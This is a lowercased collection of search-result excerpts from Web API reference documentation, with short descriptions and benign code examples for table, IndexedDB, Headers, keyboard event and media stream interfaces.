... "above" top side "below" bottom side "hsides" top and bottom only "vsides" right and left sides only "lhs" left-hand side only "rhs" right-hand side only "box" all four sides "border" all four sides example // set the frame of tablea to 'border' var t = document.getelementbyid('tablea'); t.frame = "border"; t.border = "2px"; specification w3c dom 2 html specification ...
HTMLTableElement.rules - Web APIs
the htmltableelement.rules property indicates which cell borders to render in the table.
...tax htmltableelement.rules = rules; var rules = htmltableelement.rules; parameters rules is a string with one of the following values: none no rules groups lines between groups only rows lines between rows cols lines between cols all lines between all cells example // turn on all the internal borders of a table var t = document.getelementbyid("tableid"); t.rules = "all"; specification w3c dom 2 html specification ...
HTMLTableElement.tBodies - Web APIs
although the property is read-only, the returned object is live and allows the modification of its content.
... mytable.tbodies.length; specifications specification status comment html living standardthe definition of 'htmltableelement: tbodies' in that specification.
HTMLTemplateElement.content - Web APIs
syntax var documentfragment = templateelement.content example var templateelement = document.queryselector("#foo"); var documentfragment = templateelement.content.clonenode(true); specifications specification status comment html living standardthe definition of 'htmltemplateelement interface' in that specification.
... living standard html5the definition of 'htmltemplateelement interface' in that specification.
HTMLTextAreaElement.labels - Web APIs
abel id="label1" for="test">label 1</label> <textarea id="test">some text</textarea> <label id="label2" for="test">label 2</label> javascript window.addeventlistener("domcontentloaded", function() { const textarea = document.getelementbyid("test"); for(var i = 0; i < textarea.labels.length; i++) { console.log(textarea.labels[i].textcontent); // "label 1" and "label 2" } }); specifications specification status comment html living standardthe definition of 'labels' in that specification.
... living standard no change html5the definition of 'labels' in that specification.
HTMLTrackElement: cuechange event - Web APIs
bubbles no cancelable no interface event event handler oncuechange examples on the texttrack you can set up a listener for the cuechange event on a texttrack using the addeventlistener() method: track.addeventlistener('cuechange', function () { let cues = track.activecues; // array of current cues }); or you can just set the oncuechange event handler property: track.oncuechange = function () { let cues = track.activecues; // array of current cues } on the track element the underlying texttrack, indicated by the track property, rece...
... let texttrackelem = document.getelementbyid("texttrack"); texttrackelem.addeventlistener("cuechange", (event) => { let cues = event.target.track.activecues; }); in addition, you can use the oncuechange event handler: let texttrackelem = document.getelementbyid("texttrack"); texttrackelem.oncuechange = (event) => { let cues = event.target.track.activecues; }); specifications specification status html living standardthe definition of 'cuechange' in that specification.
HTMLVideoElement.msIsStereo3D - Web APIs
syntax htmlvideoelement.msisstereo3d: boolean; value boolean value set to true indicates that the video source is stereo 3d.
... this uses metadata set in mp4 or mpeg-2 file containers and h.264 supplemental enhancement information (sei) messages to determine the stereo capability of the source.
Headers.append() - Web APIs
WebAPIHeadersappend
for security reasons, some headers can only be controlled by the user agent.
... specifications specification status comment fetchthe definition of 'append()' in that specification.
Headers.delete() - Web APIs
WebAPIHeadersdelete
for security reasons, some headers can only be controller by the user agent.
... example creating an empty headers object is simple: var myheaders = new headers(); // currently empty you could add a header to this using headers.append: myheaders.append('content-type', 'image/jpeg'); myheaders.get('content-type'); // returns 'image/jpeg' you can then delete it again: myheaders.delete('content-type'); myheaders.get('content-type'); // returns null, as it has been deleted specifications specification status comment fetchthe definition of 'delete()' in that specification.
Headers.has() - Web APIs
WebAPIHeadershas
for security reasons, some headers can only be controlled by the user agent.
... example creating an empty headers object is simple: var myheaders = new headers(); // currently empty you could add a header to this using headers.append, then test for the existence of it using has(): myheaders.append('content-type', 'image/jpeg'); myheaders.has('content-type'); // returns true myheaders.has('accept-encoding'); // returns false specifications specification status comment fetchthe definition of 'has()' in that specification.
Headers.set() - Web APIs
WebAPIHeadersset
for security reasons, some headers can only be controller by the user agent.
... specifications specification status comment fetchthe definition of 'set()' in that specification.
History.length - Web APIs
WebAPIHistorylength
syntax const length = history.length specifications specification status comment html living standardthe definition of 'history.length' in that specification.
... html5the definition of 'history.length' in that specification.
HmacKeyGenParams - Web APIs
you can pass any of sha-1, sha-256, sha-384, or sha-512 here.
... specifications specification status comment web cryptography apithe definition of 'subtlecrypto.hmackeygenparams' in that specification.
IDBDatabase.objectStoreNames - Web APIs
this is used a lot below db = dbopenrequest.result; // this line will log the version of the connected database, which should be // an object that looks like { ['my-store-name'] } console.log(db.objectstorenames); }; specifications specification status comment indexed database api 2.0the definition of 'objectstorenames' in that specification.
... recommendation indexed database api draftthe definition of 'objectstorenames' in that specification.
IDBDatabase.version - Web APIs
this is used a lot below db = dbopenrequest.result; // this line will log the version of the connected database, which should be "4" console.log(db.version); }; specifications specification status comment indexed database api 2.0the definition of 'version' in that specification.
... recommendation indexed database api draftthe definition of 'version' in that specification.
IDBIndex.get() - Web APIs
WebAPIIDBIndexget
myindex.get('bungle') is then used to retrieve the record with an lname of bungle, and the result of that request is logged to the console when its success callback returns.
... + '<td>' + cursor.value.company + '</td>' + '<td>' + cursor.value.email + '</td>' + '<td>' + cursor.value.phone + '</td>' + '<td>' + cursor.value.age + '</td>'; tableentry.appendchild(tablerow); cursor.continue(); } else { console.log('entries all displayed.'); } }; }; specification specification status comment indexed database api 2.0the definition of 'get()' in that specification.
IDBIndex.getAll() - Web APIs
WebAPIIDBIndexgetAll
there is a performance cost associated with looking at the value property of a cursor, because the object is created lazily.
... example var myindex = objectstore.index('index'); var getallrequest = myindex.getall(); getallrequest.onsuccess = function() { console.log(getallrequest.result); } specification specification status comment indexed database api draftthe definition of 'getall()' in that specification.
IDBIndex.getAllKeys() - Web APIs
example var myindex = objectstore.index('index'); var getallkeysrequest = myindex.getallkeys(); getallkeysrequest.onsuccess = function() { console.log(getallkeysrequest.result); } specification specification status comment indexed database api draftthe definition of 'getall()' in that specification.
... indexed database api draftthe definition of 'getall()' in that specification.
IDBIndex.multiEntry - Web APIs
+ '<td>' + cursor.value.company + '</td>' + '<td>' + cursor.value.email + '</td>' + '<td>' + cursor.value.phone + '</td>' + '<td>' + cursor.value.age + '</td>'; tableentry.appendchild(tablerow); cursor.continue(); } else { console.log('entries all displayed.'); } }; }; specification specification status comment indexed database api 2.0the definition of 'multientry' in that specification.
... recommendation indexed database api draftthe definition of 'multientry' in that specification.
IDBIndex.objectStore - Web APIs
+ '<td>' + cursor.value.company + '</td>' + '<td>' + cursor.value.email + '</td>' + '<td>' + cursor.value.phone + '</td>' + '<td>' + cursor.value.age + '</td>'; tableentry.appendchild(tablerow); cursor.continue(); } else { console.log('entries all displayed.'); } }; }; specification specification status comment indexed database api 2.0the definition of 'objectstore' in that specification.
... recommendation indexed database api draftthe definition of 'objectstore' in that specification.
IDBIndex.openCursor() - Web APIs
+ '<td>' + cursor.value.company + '</td>' + '<td>' + cursor.value.email + '</td>' + '<td>' + cursor.value.phone + '</td>' + '<td>' + cursor.value.age + '</td>'; tableentry.appendchild(tablerow); cursor.continue(); } else { console.log('entries all displayed.'); } }; }; specification specification status comment indexed database api 2.0the definition of 'opencursor()' in that specification.
... recommendation indexed database api draftthe definition of 'opencursor()' in that specification.
IDBIndex.openKeyCursor() - Web APIs
unction(event) { var cursor = event.target.result; if(cursor) { var tablerow = document.createelement('tr'); tablerow.innerhtml = '<td>' + cursor.key + '</td>' + '<td>' + cursor.primarykey + '</td>'; tableentry.appendchild(tablerow); cursor.continue(); } else { console.log('all last names displayed.'); } }; }; specification specification status comment indexed database api 2.0the definition of 'openkeycursor()' in that specification.
... recommendation indexed database api draftthe definition of 'openkeycursor()' in that specification.
IDBKeyRange.only() - Web APIs
WebAPIIDBKeyRangeonly
ue).onsuccess = function(event) { var cursor = event.target.result; if(cursor) { var listitem = document.createelement('li'); listitem.innerhtml = '<strong>' + cursor.value.fthing + '</strong>, ' + cursor.value.frating; list.appendchild(listitem); cursor.continue(); } else { console.log('entries all displayed.'); } }; }; specification specification status comment indexed database api 2.0the definition of 'only' in that specification.
... recommendation indexed database api draftthe definition of 'only' in that specification.
FileHandle.getFile() - Web APIs
in case of success, the request's result is a file object.
... specifications specification status comment filesystem api editor's draft draft proposal ...
FileHandle.onabort - Web APIs
syntax instanceoffilehandle.onabort = funcref; where funcref is a function to be called when the abort event occurs.
... specifications specification status comment filesystem api editor's draft draft proposal.
FileHandle.onerror - Web APIs
syntax instanceoffilehandle.onerror = funcref; where funcref is a function to be called when the error event occurs.
... specifications specification status comment filesystem api editor's draft draft proposal.
FileHandle.open() - Web APIs
it can be readonly or readwrite.
... specifications specification status comment filesystem api editor's draft draft proposal ...
IDBObjectStore.count() - Web APIs
var transaction = db.transaction(['fthings'], 'readonly'); var objectstore = transaction.objectstore('fthings'); var countrequest = objectstore.count(); countrequest.onsuccess = function() { console.log(countrequest.result); } specification specification status comment indexed database api 2.0the definition of 'count()' in that specification.
... recommendation indexed database api draftthe definition of 'count()' in that specification.
IDBObjectStore.getAll() - Web APIs
this method produces the same result for: a record that doesn't exist in the database a record that has an undefined value to tell these situations apart, you either call the opencursor() method with the same key.
... specifications specification status comment indexed database api draftthe definition of 'getall()' in that specification.
IDBObjectStore.getAllKeys() - Web APIs
this method produces the same result for: a record that doesn't exist in the database a record that has an undefined value to tell these situations apart, you need to call the opencursor() method with the same key.
... specifications specification status comment indexed database api draftthe definition of 'getallkeys()' in that specification.
IDBObjectStore.openCursor() - Web APIs
name", "readonly"); var objectstore = transaction.objectstore("name"); var request = objectstore.opencursor(); request.onsuccess = function(event) { var cursor = event.target.result; if(cursor) { // cursor.value contains the current record being iterated through // this is where you'd do something with the result cursor.continue(); } else { // no more results } }; specification specification status comment indexed database api 2.0the definition of 'opencursor()' in that specification.
... recommendation indexed database api draftthe definition of 'opencursor()' in that specification.
IDBRequest: error event - Web APIs
the error handler is executed when an error caused a request to fail.
... bubbles yes cancelable no interface event event handler property onerror examples this example opens a database and tries to add a record, listening for the error event for the add() operation (this will occur if, for example, a record with the given tasktitle already exists): // open the database const dbopenrequest = window.indexeddb.open('todolist', 4); dbopenrequest.addeventlistener('upgradeneeded', event => { const db = event.target.result; db.onerror = () => { console.log('error creating database'); }; // create an objectstore for this database var objectstore = db.createobjectstore('todolist', { keypath: 'tasktitle' }); // define what data items the objectstore will contain objectstore.createindex('hours'...
IDBTransaction.objectStoreNames - Web APIs
specification specification status comment indexed database api 2.0the definition of 'objectstorenames' in that specification.
... recommendation indexed database api draftthe definition of 'objectstorenames' in that specification.
IDBVersionChangeEvent.oldVersion - Web APIs
}; specifications specification status comment indexed database api 2.0the definition of 'oldversion' in that specification.
... recommendation indexed database api draftthe definition of 'oldversion' in that specification.
ImageData() - Web APIs
html <canvas id="canvas"></canvas> javascript the array (arr) has a length of 40000: it consists of 10,000 pixels, each of which is defined by 4 values.
... const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); const arr = new uint8clampedarray(40000); // iterate through every pixel for (let i = 0; i < arr.length; i += 4) { arr[i + 0] = 0; // r value arr[i + 1] = 190; // g value arr[i + 2] = 0; // b value arr[i + 3] = 255; // a value } // initialize a new imagedata object let imagedata = new imagedata(arr, 200); // draw image data to the canvas ctx.putimagedata(imagedata, 20, 20); result specification specification status comment html living standardthe definition of 'imagedata()' in that specification.
InputEvent() - Web APIs
iscomposing: (optional) a boolean indicating that the event is part of a composition session, meaning it is after a compositionstart event but before a compositionend event.
... ranges: (optional) an array of static ranges that will be affected by a change to the dom if the input event is not canceled.
InputEvent.getTargetRanges() - Web APIs
the gettargetranges() property of the inputevent interface returns an array of static ranges that will be affected by a change to the dom if the input event is not canceled.
... specifications specification status comment input events level 2the definition of 'gettargetranges()' in that specification.
InputEvent.isComposing - Web APIs
the inputevent.iscomposing read-only property returns a boolean value indicating if the event is fired after compositionstart and before compositionend.
... syntax var bool = event.iscomposing; example var inputevent = new inputevent('syntheticinput', false); console.log(inputevent.iscomposing); // return false specifications specification status comment document object model (dom) level 3 events specificationthe definition of 'inputevent.iscomposing' in that specification.
getVersion - Web APIs
the majority of this api is now deprecated and as of gecko 1.9 no longer available.
... installing a component with a null version indicates that the component should always be updated when the opportunity arises.
IntersectionObserver.unobserve() - Web APIs
var observer = new intersectionobserver(callback); observer.observe(document.getelementbyid("elementtoobserve")); /* ...
... */ observer.unobserve(document.getelementbyid("elementtoobserve")); specifications specification status comment intersection observerthe definition of 'intersectionobserver.unobserve()' in that specification.
IntersectionObserverEntry.boundingClientRect - Web APIs
in the general case, however, it's safe to simply think of this as the bounds rectangle of the target element.
... specifications specification status comment intersection observerthe definition of 'intersectionobserverentry.boundingclientrect' in that specification.
IntersectionObserverEntry.intersectionRect - Web APIs
example in this simple example, an intersection callback stores the intersection rectangle for later use by the code that draws the target elements' contents, so that only the visible area is redrawn.
... function intersectioncallback(entries) { entries.foreach(function(entry) { refreshzones.push({ element: entry.target, rect: entry.intersectionrect }); }); } specifications specification status comment intersection observerthe definition of 'intersectionobserverentry.intersectionrect' in that specification.
KeyboardEvent.ctrlKey - Web APIs
the keyboardevent.ctrlkey read-only property returns a boolean that indicates if the control key was pressed (true) or not (false) when the event occured.
...anceofkeyboardevent.ctrlkey return value a boolean example <html> <head> <title>ctrlkey example</title> <script type="text/javascript"> function showchar(e){ alert( "key pressed: " + e.key + "\n" + "ctrl key pressed: " + e.ctrlkey + "\n" ); } </script> </head> <body onkeypress="showchar(event);"> <p>press any character key, with or without holding down the ctrl key.<br /> you can also use the shift key together with the ctrl key.</p> </body> </html> specifications specification status comment document object model (dom) level 3 events specificationthe definition of 'keyboardevent.ctrlkey' in that specification.
KeyboardEvent.metaKey - Web APIs
the keyboardevent.metakey read-only property returning a boolean that indicates if the meta key was pressed (true) or not (false) when the event occurred.
... syntax var metakeypressed = instanceofkeyboardevent.metakey return value a boolean example function ismetakey(e) { alert("metakey = " + e.metakey); } <button onclick="ismetakey(event)">click me with the meta key</button> specifications specification status comment document object model (dom) level 3 events specificationthe definition of 'keyboardevent.metakey' in that specification.
KeyboardEvent.repeat - Web APIs
the repeat read-only property of the keyboardevent interface returns a boolean that is true if the given key is being held down such that it is automatically repeating.
... syntax var repeat = event.repeat; return value boolean specifications specification status comment document object model (dom) level 3 events specificationthe definition of 'keyboardevent.repeat' in that specification.
KeyboardEvent.shiftKey - Web APIs
the keyboardevent.shiftkey read-only property is a boolean that indicates if the shift key was pressed (true) or not (false) when the event occurred.
...ript type="text/javascript"> function showchar(e){ alert( "key pressed: " + string.fromcharcode(e.charcode) + "\n" + "charcode: " + e.charcode + "\n" + "shift key pressed: " + e.shiftkey + "\n" + "alt key pressed: " + e.altkey + "\n" ); } </script> </head> <body onkeypress="showchar(event);"> <p>press any character key, with or without holding down the shift key.<br /> you can also use the shift key together with the alt key.</p> </body> </html> specifications specification status comment document object model (dom) level 3 events specificationthe definition of 'keyboardevent.shiftkey' in that specification.
KeyboardEvent.which - Web APIs
+ "character key pressed: " + string.fromcharcode(evt.charcode) + "\n" ); } function keydown(evt) { alert("onkeydown handler: \n" + "keycode property: " + evt.keycode + "\n" + "which property: " + evt.which + "\n" ); } </script> </head> <body onkeypress="showkeypress(event);" onkeydown="keydown(event);" > <p>please press any key.</p> </body> </html> specifications specification status comment document object model (dom) level 3 events specificationthe definition of 'keyboardevent.which' in that specification.
... obsolete initial definition; specified as deprecated ...
KeyboardLayoutMap.get() - Web APIs
example the following example demonstrates how to get the location- or layout-specific string associated with the key that corresponds to the 'w' key on an english qwerty keyboard.
... var keyboard = navigator.keyboard; keyboard.getlayoutmap() .then(keyboardlayoutmap => { var upkey = keyboardlayoutmap.get('keyw'); window.alert('press ' + upkey + ' to move up.'); } specifications specification status comment keyboard mapthe definition of 'get()' in that specification.
Locks.mode - Web APIs
WebAPILockmode
example the following examples show how the mode property is passed in the call to lockmanager.request().
...y_resource", show_lock_properties); // should show "exclusive" navigator.locks.request("my_resource", {mode: "exclusive"}, show_lock_properties); // should show "shared" navigator.locks.request("my_resource", {mode: "shared"}, show_lock_properties); function show_lock_properties(lock) { console.log(`the lock name is: ${lock.name}`); console.log(`the lock mode is: ${lock.mode}`); } specifications specification status comment web locks apithe definition of 'mode' in that specification.
LockManager - Web APIs
to get an instance of lockmanager, call navigator.locks.
... specifications specification status comment web locks apithe definition of 'lockmanager' in that specification.
LockedFile.active - Web APIs
WebAPILockedFileactive
typically, a lockedfile object becomes inactive when the lockedfile.abort() method is called or if an error occurs.
... specifications specification status comment filesystem api editor's draft draft proposal.
LockedFile.getMetadata() - Web APIs
in case of success, the request's result is an object with the metadata requested through the param object.
... they have the following format: size : a number lastmodified : a date object specifications specification status comment filesystem api editor's draft draft proposal ...
LockedFile.onabort - Web APIs
syntax instanceoflockedfile.onabort = funcref; where funcref is a function to be called when the abort event occurs.
... specifications specification status comment filesystem api editor's draft draft proposal.
LockedFile.oncomplete - Web APIs
syntax instanceoflockedfile.oncomplete = funcref; where funcref is a function to be called when the complete event occurs.
... specifications specification status comment filesystem api editor's draft draft proposal.
LockedFile.onerror - Web APIs
syntax instanceoflockedfile.onerror = funcref; where funcref is a function to be called when the error event occurs.
... specifications specification status comment filesystem api editor's draft draft proposal.
MIDIInput - Web APIs
WebAPIMIDIInput
event handlers midiinput.onmidimessage when the current port receives a midimessage it triggers a call to this event handler.
... specifications specification status comment web midi api working draft initial definition.
MIDIInputMap - Web APIs
though it works generally like a map, because it is read-only it does not contain clear(), delete(), or set() functions.
... specifications specification status comment web midi api working draft initial definition.
MIDIMessageEvent - Web APIs
see the midi specification for more information on its form.
... examples // printing all messages to console navigator.requestmidiaccess().then(midiaccess => { array.from(midiaccess.inputs).foreach(input => { input[1].onmidimessage = console.log; }) }); specifications specification status comment web midi apithe definition of 'midimessageevent' in that specification.
MIDIOutputMap - Web APIs
although it works like a map, because it is read-only, it does not contain clear(), delete(), or set() functions.
... specifications specification status comment web midi api working draft initial definition.
MediaElementAudioSourceNode.mediaElement - Web APIs
the mediaelementaudiosourcenode interface's read-only mediaelement property indicates the htmlmediaelement that contains the audio track from which the node is receiving audio.
... examples const audioctx = new window.audiocontext(); const audioelem = document.queryselector('audio'); let options = { mediaelement: audioelem } let source = new mediaelementaudiosourcenode(audioctx, options); console.log(source.mediaelement); specifications specification status comment web audio apithe definition of 'mediaelementaudiosourcenode.mediaelement' in that specification.
MediaError.code - Web APIs
WebAPIMediaErrorcode
syntax var myerror = mediaerror.code; value a numeric value indicating the general type of error which occurred.
...the error handler simply outputs a message var obj = document.createelement('video'); obj.onerror = function() {console.log("error with media: " + obj.error.code);} obj.src="https://example.com/blahblah.mp4"; specifications specification status comment html living standardthe definition of 'mediaerror.code' in that specification.
MediaKeyMessageEvent.messageType - Web APIs
the mediakeymessageevent.messagetype read-only property indicates the type of message.
... syntax var messagetype = mediakeymessageevent.messagetype; specifications specification status comment encrypted media extensionsthe definition of 'messagetype' in that specification.
MediaKeySession.closed - Web APIs
this promise can only be fulfilled and is never rejected.
... specifications specification status comment encrypted media extensionsthe definition of 'closed' in that specification.
expiration - Web APIs
the mediakeysession.expiration read-only property returns the time after which the keys in the current session can no longer be used to decrypt media data, or nan if no such time exists.
... syntax ​var expirationtime = mediakeysessionobj.expiration; specifications specification status comment encrypted media extensionsthe definition of 'expiration' in that specification.
load() - Web APIs
return value a promise that resolves to a boolean indicating whether the load succeeded or failed.
... specifications specification status comment encrypted media extensionsthe definition of 'load()' in that specification.
MediaKeySession.onkeystatuseschange - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 8.571428571428571%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-20 0 700 60" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monos...
...} specifications specification status comment encrypted media extensionsthe definition of 'onkeystatuseschange' in that specification.
MediaKeySession.onmessage - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 8.571428571428571%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-20 0 700 60" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" ...
...} specifications specification status comment encrypted media extensionsthe definition of 'onmessage' in that specification.
remove() - Web APIs
return value a promise that resolves to a boolean indicating whether the load succeeded or failed.
... specifications specification status comment encrypted media extensionsthe definition of 'remove()' in that specification.
MediaKeySystemAccess - Web APIs
you can request an instance of this object using the navigator.requestmediakeysystemaccess() method.
... specifications specification status comment encrypted media extensionsthe definition of 'mediakeysystemaccess' in that specification.
distinctiveIdentifier - Web APIs
the mediakeysystemconfiguration.distinctiveidentifier read-only property indicates whether a persistent distinctive identifier is required.
... syntax var distinctiveidentifier = mediasystemconfiguration.distinctiveidentifier; specifications specification status comment encrypted media extensionsthe definition of 'distinctiveidentifier' in that specification.
initDataTypes - Web APIs
an initialization data type is a string indicating the format of the initialization data.
... syntax var datatypes[] = mediasystemconfiguration.initdatatypes; specifications specification status comment encrypted media extensionsthe definition of 'initdatatypes' in that specification.
persistentState - Web APIs
the mediakeysystemconfiguration.persistentstate read-only property indicates whether the ability to persist state is required.
... syntax var persistentstate = mediasystemconfiguration.persistentstate; specifications specification status comment encrypted media extensionsthe definition of 'persistentstate' in that specification.
MediaMetadata.MediaMetadata() - Web APIs
example the following example creates a new media session and assigns action handlers to it: if ('mediasession' in navigator){ navigator.mediasession.metadata = new mediametadata({ title: "podcast episode title", artist: "podcast host", album: "podcast name", artwork: [{src: "podcast.jpg"}] }); navigator.mediasession.setactionhandler('play', function() {}); navigator.mediasession.setactionhandler('pause', function() {}); navigator.mediasession.setactionhandler('seekbackward', function() {}); navigator.mediasession.setactionhandler('seekforward', function() {}); na...
...vigator.mediasession.setactionhandler('previoustrack', function() {}); navigator.mediasession.setactionhandler('nexttrack', function() {}); } specifications specification status comment media session standardthe definition of 'mediametadata()' in that specification.
MediaQueryListEvent - Web APIs
the mediaquerylistevent object stores information on the changes that have happened to a mediaquerylist object — instances are available as the event object on a function referenced by a mediaquerylist.onchange property or mediaquerylist.addlistener() call.
...viewport is 600 pixels wide or less */ para.textcontent = 'this is a narrow screen — less than 600px wide.'; document.body.style.backgroundcolor = 'red'; } else { /* the viewport is more than than 600 pixels wide */ para.textcontent = 'this is a wide screen — more than 600px wide.'; document.body.style.backgroundcolor = 'blue'; } } mql.addlistener(screentest); specifications specification status comment css object model (cssom) view modulethe definition of 'mediaquerylistevent' in that specification.
MediaRecorder.resume() - Web APIs
syntax mediarecorder.resume() errors an invalidstate error is raised if the resume() method is called while the mediarecorder object’s mediarecorder.state is "inactive" — the recording cannot be resumed if it is not already paused; if mediarecorder.state is already "recording", resume() has no effect.
... specifications specification status comment mediastream recordingthe definition of 'mediarecorder.resume()' in that specification.
MediaRecorder.state - Web APIs
recording recording has been started and the ua is capturing data.
... specifications specification status comment mediastream recordingthe definition of 'mediarecorder.state' in that specification.
MediaRecorder.stream - Web APIs
example if (navigator.getusermedia) { console.log('getusermedia supported.'); navigator.getusermedia ( // constraints - only audio needed for this app { audio: true }, // success callback function(stream) { var mediarecorder = new mediarecorder(stream); var mystream = mediarecorder.stream; console.log(mystream); ...
... specifications specification status comment mediastream recordingthe definition of 'mediarecorder.stream' in that specification.
MediaRecorderErrorEvent() - Web APIs
this object's name property should indicate the name of the error that occurred.
... specifications specification status comment mediastream recordingthe definition of 'mediarecordererrorevent()' in that specification.
MediaRecorderErrorEvent - Web APIs
it is an event object that encapsulates a reference to a domexception describing the error that occurred.
... specifications specification status comment mediastream recordingthe definition of 'mediarecordererrorevent' in that specification.
MediaSession.metadata - Web APIs
example the following example creates a new media session and assigns action handlers to it: if ('mediasession' in navigator){ navigator.mediasession.metadata = new mediametadata({ title: "podcast episode title", artist: "podcast host", album: "podcast name", artwork: [{src: "podcast.jpg"}] }); navigator.mediasession.setactionhandler('play', function() {}); navigator.mediasession.setactionhandler('pause', function() {}); navigator.mediasession.setactionhandler('seekbackward', function() {}); navigator.mediasession.setactionhandler('seekforward', function() {}); na...
...vigator.mediasession.setactionhandler('previoustrack', function() {}); navigator.mediasession.setactionhandler('nexttrack', function() {}); } specifications specification status comment media session standardthe definition of 'mediasession.metadata' in that specification.
MediaSource.addSourceBuffer() - Web APIs
quotaexceedederror the user agent can't handle any more sourcebuffer objects, or creating a new sourcebuffer using the given mimetype would result in an unsupported configuration of sourcebuffers.
...) { //console.log(this.readystate); // open var mediasource = this; var sourcebuffer = mediasource.addsourcebuffer(mimecodec); fetchab(asseturl, function (buf) { sourcebuffer.addeventlistener('updateend', function (_) { mediasource.endofstream(); video.play(); //console.log(mediasource.readystate); // ended }); sourcebuffer.appendbuffer(buf); }); }; specifications specification status comment media source extensionsthe definition of 'addsourcebuffer()' in that specification.
MediaSource.clearLiveSeekableRange() - Web APIs
the clearliveseekablerange() method of the mediasource interface clears a seekable range previously set with a call to setliveseekablerange().
... return value undefined specifications specification status comment media source extensionsthe definition of 'clearliveseekablerange()' in that specification.
MediaSource.readyState - Web APIs
ended: the source is attached to a media element but the stream has been ended via a call to mediasource.endofstream().
...) { //console.log(this.readystate); // open var mediasource = this; var sourcebuffer = mediasource.addsourcebuffer(mimecodec); fetchab(asseturl, function (buf) { sourcebuffer.addeventlistener('updateend', function (_) { mediasource.endofstream(); video.play(); //console.log(mediasource.readystate); // ended }); sourcebuffer.appendbuffer(buf); }); }; specifications specification status comment media source extensionsthe definition of 'readystate' in that specification.
MediaSource.setLiveSeekableRange() - Web APIs
the setliveseekablerange() method of the mediasource interface sets the range that the user can seek to in the media element.
... return value undefined example // tbd specifications specification status comment media source extensionsthe definition of 'setliveseekablerange()' in that specification.
MediaStream.addTrack() - Web APIs
return value undefined example specifications specification status comment media capture and streamsthe definition of 'addtrack()' in that specification.
... candidate recommendation initial specification.
MediaStream: addtrack event - Web APIs
bubbles no cancelable no interface mediastreamtrackevent event handler property onaddtrack examples using addeventlistener(): let stream = new mediastream(); stream.addeventlistener('addtrack', (event) => { console.log(`new ${event.track.kind} track added`); }); using the onaddtrack event handler property: let stream = new mediastream(); stream.onaddtrack = (event) => { console.log(`new ${event.track.kind} track added`); }; specifications specification status media capture and streamsthe definition of 'addtrack' in that specification.
... candidate recommendation ...
MediaStream.getTrackById() - Web APIs
stream.gettrackbyid("primary-audio-track").applyconstraints({ volume: 0.5 }); stream.gettrackbyid("commentary-track").enabled = true; specifications specification status comment media capture and streamsthe definition of 'gettrackbyid()' in that specification.
... candidate recommendation initial specification.
MediaStream.getTracks() - Web APIs
example navigator.mediadevices.getusermedia({audio: false, video: true}) .then(mediastream => { document.queryselector('video').srcobject = mediastream; // stop the stream after 5 seconds settimeout(() => { const tracks = mediastream.gettracks() tracks[0].stop() }, 5000) }) specifications specification status comment media capture and streamsthe definition of 'gettracks()' in that specification.
... candidate recommendation initial definition.
MediaStream.id - Web APIs
WebAPIMediaStreamid
syntax var id = mediastream.id; example var p = navigator.mediadevices.getusermedia({ audio: true, video: true }); p.then(function(stream) { console.log(stream.id); }) specifications specification status comment media capture and streamsthe definition of 'mediastream.id' in that specification.
... candidate recommendation initial definition.
MediaStream: removetrack event - Web APIs
bubbles no cancelable no interface mediastreamtrackevent event handler property onremovetrack examples using addeventlistener(): let stream = new mediastream(); stream.addeventlistener('removetrack', (event) => { console.log(`${event.track.kind} track removed`); }); using the onremovetrack event handler property: let stream = new mediastream(); stream.onremovetrack = (event) => { console.log(`${event.track.kind} track removed`); }; specifications specification status media capture and streamsthe definition of 'removetrack' in that specification.
... candidate recommendation ...
MediaStreamAudioDestinationNode.stream - Web APIs
you can use this property to get a stream out of the audio graph and feed it into another construct, such as a media recorder.
... example specifications specification status comment web audio apithe definition of 'stream' in that specification.
MediaStreamAudioSourceNode.mediaStream - Web APIs
the mediastreamaudiosourcenode interface's read-only mediastream property indicates the mediastream that contains the audio track from which the node is receiving audio.
... examples const audioctx = new window.audiocontext(); let options = { mediastream : stream } let source = new mediastreamaudiosourcenode(audioctx, options); console.log(source.mediastream); specifications specification status comment web audio apithe definition of 'mediastreamaudiosourcenode.mediastream' in that specification.
MediaStreamEvent() - Web APIs
"bubbles", optional and defaulting to false, inherited from eventinit, and indicating if the event must bubble or not.
... "cancelable", optional and defaulting to false, inherited from eventinit, and indicating if the event can be canceled or not.
MediaStreamTrack.id - Web APIs
syntax const id = track.id specifications specification status comment media capture and streamsthe definition of 'mediastreamtrack.id' in that specification.
... candidate recommendation initial specification.
MediaStreamTrack.kind - Web APIs
specifications specification status comment media capture and streamsthe definition of 'mediastreamtrack.kind' in that specification.
... candidate recommendation initial specification.
MediaStreamTrack.label - Web APIs
syntax const label = track.label specifications specification status comment media capture and streamsthe definition of 'mediastreamtrack.label' in that specification.
... candidate recommendation initial specification.
MediaStreamTrack.remote - Web APIs
the mediastreamtrack.remote read-only property allows javascript to know whether a webrtc mediastreamtrack is from a remote source or a local one.
... it returns a boolean with a value of true if the track is sourced remotely (that is, sourced by an rtcpeerconnection), or false if it is sourced locally.
MediaStreamTrackAudioSourceOptions.mediaStreamTrack - Web APIs
example this example uses getusermedia() to obtain access to the user's camera, then creates a new mediastreamaudiosourcenode from the first audio track provided by the device.
...window.webkitaudiocontext)(); if (navigator.mediadevices.getusermedia) { navigator.mediadevices.getusermedia ( { audio: true, video: false }).then(function(stream) { let options = { mediastreamtrack: stream.getaudiotracks()[0]; } let source = new mediastreamtrackaudiosourcenode(audioctx, options); source.connect(audioctx.destination); }).catch(function(err) { console.log('the following gum error occured: ' + err); }); } else { console.log('new getusermedia not supported on your browser!'); } specifications specification status comment web audio apithe definition of 'mediastreamtrackaudiosourceoptions.mediastream' in that specification.
MessageChannel() - Web APIs
example in the following code block, you can see a new channel being created using the messagechannel.messagechannel constructor.
